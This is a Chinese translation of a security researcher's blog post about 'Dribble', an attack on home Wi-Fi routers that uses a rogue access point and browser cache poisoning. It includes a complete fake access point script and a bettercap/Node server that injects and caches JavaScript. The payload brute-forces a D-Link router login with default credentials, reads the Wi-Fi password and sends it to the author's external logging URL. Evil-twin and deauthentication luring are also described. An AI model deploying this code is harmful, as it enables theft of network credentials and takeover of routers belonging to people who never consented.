使用javascript缓存投毒攻击wifi
我一直想在这个小项目上工作很长一段时间,但是我总是很忙。现在我终于有一些时间回来了,我在这里谈论它。
很久以前,我通过了Vivek Ramachandran的Wireless LAN Security Megaprimer课程(非常好,强烈推荐),顺便说一下,在我做旅行的同一时期,这意味着我要住在有不同的wifi酒店。毋庸置疑,我的大脑开始变得疯狂,因此我一直在思考获取Wi-Fi密码的“非常规”方法。
Can’t turn my brain off, you know.
It’s me.
We go into some place,
and all I can do is see the angles.
– Danny Ocean (Ocean’s Twelve)
我即将描述的想法非常简单,可能也不是那么新。尽管如此,对我来说这是一种有趣的方式,让我去使用我的树莓派,因为它已经放在架子上太久了。
Description
我的想法是利用网络浏览器的缓存来窃取Wi-Fi密码。因为我需要为项目提出一个名称,所以我首先开发它并将其命名为“Dribble”:-)。Dribble创建一个虚假的Wi-Fi接入点,并等待客户端连接到它。当客户端连接时,Dribble拦截对JavaScript页面执行的每个HTTP请求,并在响应中注入恶意JavaScript代码。新响应的标头也会被更改,以便恶意JavaScript代码被缓存并强制在浏览器中保留。当客户端与虚假接入点断开连接并重新连接回其家庭路由器时,恶意JavaScript代码将激活,从路由器窃取Wi-Fi密码并将其发送回攻击者。
很简单,对吧?
如何创建虚假接入点
这非常简单,它也包含在Wireless LAN Security Megaprimer中,并且有许多不同的githubrepositories
和gists
,人们可以使用它来开始并创建一个虚假的访问点。因此,我不会过多地了解怎么创建一个虚假接入点的细节,但为了完整起见,让我们讨论一下我使用的那个。我使用hostapd
创建过Wi-Fi接入点,dnsmasq
作为DHCP服务器和DNS中继服务器,并用iptables
创建NAT网络。随后的bash脚本将创建一个非常简单的Wi-Fi访问点,不受任何密码的保护。我在代码中添加了一些注释,希望能提高可读性。
#!/bin/bash
# the internet interface
internet=eth0
# the wifi interface
phy=wlan0
# The ESSID
essid="TEST"
# bring interfaces up
ip link set dev $internet up
ip link set dev $phy up
##################
# DNSMASQ
##################
echo "
interface=$phy
bind-interfaces
# Set default gateway
dhcp-option=3,10.0.0.1
# Set DNS servers to announce
dhcp-option=6,10.0.0.1
dhcp-range=10.0.0.2,10.0.0.10,12h
no-hosts
no-resolv
log-queries
log-facility=/var/log/dnsmasq.log
# Upstream DNS server
server=8.8.8.8
server=8.8.4.4
" > tmp-dnsmasq.conf
# start dnsmasq which provides DNS relaying service
dnsmasq --conf-file=tmp-dnsmasq.conf
##################
# IPTABLES
##################
# Enable Internet connection sharing
# configuring ip forwarding
echo '1' > /proc/sys/net/ipv4/ip_forward
# configuring NAT
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE
##################
# HOSTAPD
##################
echo "ctrl_interface=/var/run/hostapd
interface=$phy
# ESSID
ssid=$essid
driver=nl80211
auth_algs=3
channel=11
hw_mode=g
# all mac addresses allowed
macaddr_acl=0
wmm_enabled=0" > tmp-hotspot.conf
# Start hostapd in screen hostapd
echo "Start hostapd in screen hostapd"
screen -dmS hostapd hostapd tmp-hotspot.conf
如何强迫人们连接到它
免责声明:由于各种原因,我故意将本节留在高级别的描述中而没有任何代码。但是,如果得到足够的关注并且人们对此感兴趣,我可能会进行更深入的讨论,或许提供一些代码和实用指南。
根据您的目标,可能有不同的方法尝试让某人连接到虚拟接入点。我们来讨论两种情况:
情景1:
在这种情况下,目标连接到受密码保护的Wi-Fi,可能是攻击者试图访问的受密码保护的Wi-Fi。在这种情况下,有几件事情要尝试,但首先让我讨论有关Wi-Fi如何工作的有趣内容。深受喜爱的802.11标准有许多有趣的功能,其中一个我总是发现...有趣。802.11定义了一个特殊的数据包,无论加密,密码,基础设施或任何内容,如果发送到客户端只会断开该客户端与接入点的连接。如果您发送一次,客户端将断开连接并立即重新连接,最终用户甚至不会注意到发生了什么。但是,如果你继续发送它,客户端最终会放弃你实际上可以阻塞Wi-Fi连接的意思,用户会注意到他已经没有连接到接入点了。通过滥用此特性,您可以简单地强制客户端断开与其连接的合法访问点的连接。在这一点上,可以做两件事:
- 攻击者可以使用与目标连接的访问点相同的ESSID创建虚假访问点,但没有密码。在这种情况下,攻击者应该希望一旦用户意识到他没有连接到接入点,他就会尝试再次手动连接。因此,目标将找到具有相同ESSID的两个网络,一个将具有锁而另一个将不具有锁。用户可能首先尝试连接到带有锁的那个,这不会起作用,因为它会干扰它的攻击者,并且可能他也可能尝试没有锁的那个...毕竟它具有相同的名称他非常想要连接......对吗?
- 可以被利用的另一个有趣的行为是,无论何时客户端没有连接到接入点,它都会不断发送寻找先前已知的ESSID的信标数据包。如果目标已连接到未受保护的接入点,并且可能是他所做的,则攻击者可以简单地创建一个虚假接入点,其目标访问的未受保护接入点的ESSID相同。因此,客户端将愉快地连接到虚假接入点。
场景2:
在这种情况下,目标没有连接到任何Wi-Fi接入点,可能是因为目标是智能手机而且所有者正在街上行走。但是,有可能Wi-Fi卡仍处于打开状态且设备仍在寻找已知的Wi-Fi ESSID。再次,如前所述,目标可能已连接到未受保护的Wi-Fi接入点。因此,攻击者可以使用目标已连接的接入点的ESSID创建虚假接入点,就像之前一样,Wi-Fi客户端将愉快地连接到虚假接入点。
创建并注入恶意负载
现在出现了“稍微新”的部分(至少对我而言):弄清楚恶意JavaScript代码应该做什么来访问路由器并窃取Wi-Fi密码。请记住,受害者将连接到虚拟接入点,这显然给了攻击者一些优势,但仍有一些事情需要考虑。
作为攻击的目标路由器,我使用了家用Wi-Fi路由器,特别是我的ISP免费提供的D-Link DVA-5592。不幸的是,目前我还没有其他可以测试的设备,所以我必须用它做好准备。
我们现在讨论恶意JavaScript代码。目标是让它对路由器执行请求,这意味着它必须对本地IP地址执行请求。这应该已经调用了诸如Same-Origin-Policy和之类的关键字X-Frame-Option。
Same-Origin-Policy(同源策略)
让我看看MDN网络文档中的定义:
The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps to isolate potentially malicious documents, reducing possible attack vectors. https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
换句话说:如果域A包含JavaScript代码,则该JavaScript代码只能访问域A中的信息或域A的子域。它无法访问域B中的信息。
X-Frame-Options
让我再次从MDN Web文档中看看这个的定义:
The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe> or <object> . Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
这非常简单:X-Frame-Options用于防止页面被加载iframe。
那么让我们看看我们从请求D-Link登录页面得到的响应:
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 16:20:21 UTC
Server: HTTP Server
X-Frame-Options: DENY
Connection: Keep-Alive
Keep-Alive: timeout=15, max=15
Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC
Cache-Control: must-revalidate, private
Expires: -1
Content-Language: en
Content-Type: text/html
Content-Length: 182
<html><head>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="refresh" content="0;url=/ui/status">
</head></html>
响应包含X-Frame-Options设置为DENY(感谢上帝)意味着如果我希望加载它iframe,我就是不能。此外,由于恶意JavaScript代码将被注入与路由器不同的域中,因此Same-Origin-Policy将阻止与路由器本身的任何交互。我提出的简单解决方案,并提防它可能不是唯一的解决方案,如下:
注入包含两个不同的JavaScript代码。第一个JavaScript代码将iframe在受感染的页面中添加内容。在src该参数iframe将指向路由器的IP地址。如前所述,路由器的IP地址X-Frame-Options设置为,DENY因此iframe将无法加载路由器的页面。但是,当创建iframe执行的JavaScript代码时,受害者仍然连接到虚假访问点(还记得我前面提到的优势点吗?)。这意味着对路由器IP地址的请求将由虚假接入点处理......多么方便。因此,虚假接入点可以拦截对路由器IP地址执行的任何请求,并通过以下网页进行响应:
包含第二个JavaScript代码,它将实际执行对真实路由器的请求,
没有X-Frame-Options标题,
包括用于缓存页面的标头。
由于虚假接入点构成合法路由器,因此浏览器将缓存一个页面,该域名是路由器的IP地址,从而绕过了Same-Origin-Policy和X-Frame-Options。最后,一旦受感染的客户端连接回其家庭路由器:
第一个JavaScript代码将添加iframe指向路由器的IP地址,
在iframe将加载包含第二恶意的JavaScript路由器的主页的缓存版本,
第二个恶意JavaScript会攻击路由器。
第一个恶意JavaScript非常简单,它只需附加一个iframe。第二个恶意JavaScript有点棘手,因为它必须执行多个HTTP请求来强制登录,使用Wi-Fi密码访问页面并将其发送回攻击者。
对于D-Link,登录请求如下所示:
POST /ui/login HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ui/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh
这里的重要参数是:
- userName这是admin(令人震惊的);
- userPwd 看起来很加密;
- nonce 这肯定与加密密码有关。
潜入登录页面的源代码我几乎立即注意到了这一点:
document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value,document.form.nonce.value);
这意味着登录需要CryptoJS库并从中获取nonce document.form.nonce.value
。有了这些信息,我可以轻松地创建一个小的JavaScript代码,它采用一系列用户名和密码,并尝试强制登录页面。
进入路由器后,我需要四处寻找可以检索Wi-Fi密码的位置。D-Link DVA-5592中的当前固件在仪表板页面登录后立即显示Wi-Fi密码IN PLAINTEXT(男孩)。
-w648此时我需要做的就是访问页面的HTML,获取Wi-Fi密码并将其发送到某个地方进行收集。现在让我们深入研究为D-Link量身定制的实际JavaScript代码。我收录了评论,因此您可以关注正在发生的事情。
// this is CryptoJS, a bit annoying to have it here
var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a=
this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>>2]|=(d[b>>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>>2]=d[b>>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=
l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}}),o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b=
a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create();
this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()},
reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a},blockSize:16,_createHelper:function(a){return function(b,d){return a.create(d).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return g.HMAC.create(a,d).finalize(b)}}});var g=e.algo={};return e}(Math);
(function(h){var i=CryptoJS,e=i.lib,f=e.WordArray,e=e.Hasher,l=i.algo,k=[],o=[];(function(){function e(a){for(var b=h.sqrt(a),d=2;d<=b;d++)if(!(a%d))return!1;return!0}function f(a){return 4294967296*(a-(a|0))|0}for(var b=2,g=0;64>g;)e(b)&&(8>g&&(k[g]=f(h.pow(b,0.5))),o[g]=f(h.pow(b,1/3)),g++),b++})();var m=[],l=l.SHA256=e.extend({_doReset:function(){this._hash=f.create(k.slice(0))},_doProcessBlock:function(e,f){for(var b=this._hash.words,g=b[0],a=b[1],j=b[2],d=b[3],c=b[4],h=b[5],l=b[6],k=b[7],n=0;64>
n;n++){if(16>n)m[n]=e[f+n]|0;else{var i=m[n-15],p=m[n-2];m[n]=((i<<25|i>>>7)^(i<<14|i>>>18)^i>>>3)+m[n-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+m[n-16]}i=k+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&h^~c&l)+o[n]+m[n];p=((g<<30|g>>>2)^(g<<19|g>>>13)^(g<<10|g>>>22))+(g&a^g&j^a&j);k=l;l=h;h=c;c=d+i|0;d=j;j=a;a=g;g=i+p|0}b[0]=b[0]+g|0;b[1]=b[1]+a|0;b[2]=b[2]+j|0;b[3]=b[3]+d|0;b[4]=b[4]+c|0;b[5]=b[5]+h|0;b[6]=b[6]+l|0;b[7]=b[7]+k|0},_doFinalize:function(){var e=this._data,f=e.words,b=8*this._nDataBytes,
g=8*e.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+64>>>9<<4)+15]=b;e.sigBytes=4*f.length;this._process()}});i.SHA256=e._createHelper(l);i.HmacSHA256=e._createHmacHelper(l)})(Math);
(function(){var h=CryptoJS,i=h.enc.Utf8;h.algo.HMAC=h.lib.Base.extend({init:function(e,f){e=this._hasher=e.create();"string"==typeof f&&(f=i.parse(f));var h=e.blockSize,k=4*h;f.sigBytes>k&&(f=e.finalize(f));for(var o=this._oKey=f.clone(),m=this._iKey=f.clone(),q=o.words,r=m.words,b=0;b<h;b++)q[b]^=1549556828,r[b]^=909522486;o.sigBytes=m.sigBytes=k;this.reset()},reset:function(){var e=this._hasher;e.reset();e.update(this._iKey)},update:function(e){this._hasher.update(e);return this},finalize:function(e){var f=
this._hasher,e=f.finalize(e);f.reset();return f.finalize(this._oKey.clone().concat(e))}})})();
// check if this is a D-Link
// This is a safe check that I put so that the payload won't try to attack something
// that is not a D-Link, the check could definetly be improbed but given that I
// only have this D-Link we will have to make it due ... for now
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.setRequestHeader("hydra","true");
xhr.onload = function () {
if(this.response.includes("D-LINK")){
console.log("d-link");
dlinkStart();
}
};
xhr.responseType = 'text'
xhr.send(null);
// The main function that starts the attack
function dlinkStart(){
// List of possible usernames
var usernames = ["administrator","Administrator","admin","Admin"];
// List of possible passwords
var passwords = ["password","admin","1234","","pwd"];
// the array containing usernames and passwords comination
var combos = [];
var i = 0;
// combines all possibile usernames and passwords and put it into combos
for(var i = 0; i < usernames.length; i++)
{
for(var j = 0; j < passwords.length; j++)
{
combos.push({"user":usernames[i],"pwd":passwords[j]})
}
}
function dlinkAttacker(user, passwd) {
// first request to get the nonce
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.onload = function () {
if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
// the current username to test
var username = user
// the current password to test
var pwd = passwd
// the nonce extracted from the web page
var nonce = xhr.response.form.nonce.value
// the password encrypted with nonce
var encPwd = CryptoJS.HmacSHA256(pwd, nonce)
// let's try to log in
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', 'http://192.168.1.1/ui/login', true);
//Send the proper header information along with the request
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.onload = function () {
if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
try {
// the comination username\password was corrent, let's get the Wi-Fi password
var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML
// WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :-)
var xhr3 = new XMLHttpRequest();
xhr3.open('GET','https://rhaidiz.net/projects/dribble/dribble_logger.php?pwd'+wlanPsk);
xhr3.send( null );
} catch (e) {
// Wrong password, let's try a different combination
i++
dlinkAttacker(combos[i].user, combos[i].pwd)
}
}
}
// the body of the login request
var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' + encPwd + '&nonce=' + nonce
xhr2.responseType = 'document'
xhr2.send(params);
}
};
xhr.responseType = 'document'
xhr.send(null);
}
// Start the attack from the first combination of username\password
dlinkAttacker(combos[i].user, combos[i].pwd)
}
此页面应缓存在客户端的浏览器中,并根据路由器的IP地址发送。现在让我们暂时搁置这些代码,让我们讨论一下允许缓存它的网络配置。
正如我刚才所说,上面的JavaScript代码将缓存为来自路由器的IP地址,并将加载iframe到另一个JavaScript中,该JavaScript是我在客户端请求HTTP的每个JavaScript页面中注入的。要完成拦截和注射部分,我使用bettercap。Bettercap允许创建HTTP代理模块,可用于对HTTP代理进行编程并告诉它如何操作。例如,可以在将响应传递给客户端之前拦截响应,并决定注入什么,何时注入以及如何注入。因此,我在JavaScript中创建了一个简单的代码,它在bettercap中加载并执行注入。
var http = require("http");
var routers = ["192.168.0.1/","192.168.1.1/","192.168.1.90/"]
var fs = require('fs');
// load the index web page
var index = fs.readFileSync("./www/index.html");
// load the JavaScript file, which might be more than one
// when support for other router is implemented
var jsob = fs.readdirSync('./www/js');
var repobj = {}
for (var i in jsob){
// placing a / at the beginning is a bit of a lazy move
repobj["/"+jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]);
}
var server = http.createServer(function(request, response) {
var url = request.headers.host + request.url;
console.log('Request: ' + url);
console.log("REQUEST URL" + request.url);
console.log(request.headers);
var headers = {
"Content-Type": "text/html",
"Server": "dribble",
"Cache-Control": "public, max-age=99936000",
"Expires": "Wed, 2 Nov 2050 10:00:00 GMT",
"Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT",
"Access-Control-Allow-Origin": "*"
};
// Cache the index page
if (routers.includes(url))
{
console.log("cache until the end of time");
response.writeHead(200, headers);
response.write(index);
response.end();
return;
}
// cache the JavaScript payload
else if (repobj[request.url]){
console.log("cache JS until the end of time");
headers["Content-Type"] = "application/javascript";
response.writeHead(200, headers);
response.write(repobj[request.url]);
response.end();
return;
}
});
// listen on port 80
server.listen(80);
让我们测试一下......真实......几乎!
在这一点上,我已经自己做了一些测试,但我想在更现实的环境中尝试它。但是,我不能在没有他们同意的情况下对任何人进行尝试,所以首先我需要一个愿意参与这个小实验的受害者......所以我问我的女朋友。谈话是这样的:
-w499
-w502
-w503
太好了,既然我有一个心甘情愿地决定参加这个小实验的受害者,那么是时候开始攻击并引诱她的iPhone 6连接到我的假接入点。因此,我创建了一个带有ESSID的虚假接入点,我知道她之前已经访问过(是的,受害者的情报也很有用),很快她的iPhone连接到我的虚拟接入点。
我让她在仍然连接到虚拟接入点的同时浏览网页并耐心地等待她最终进入仅限HTTP的网站。
最后,bettercap闪烁并打印出已经注入的东西,这意味着我不需要让她连接到我的接入点了。
-w700
因此,我关闭了我的接入点,导致她的手机漫游到我们的家庭Wi-Fi接入点,并且由于她仍在浏览该网站,注入的恶意JavaScript代码完成了它的工作,并发送了我的Wi-密码Fi网络直接到我的PHP页面。
-w702总结
整个事情都可以在我的githubhttps://github.com/rhaidiz/dribble
上找到,它可以肯定地得到改进,并且希望,当你读到它而且使用了的时候。添加对新路由器的支持。如果我有时间实验在其他设备上,我将完全将它们添加到存储库中。在此期间,玩得开心......
原文链接:https://rhaidiz.net/2018/10/25/dribble-stealing-wifi-password-via-browsers-cache-poisoning/#How-to-create-a-fake-access-point
网友评论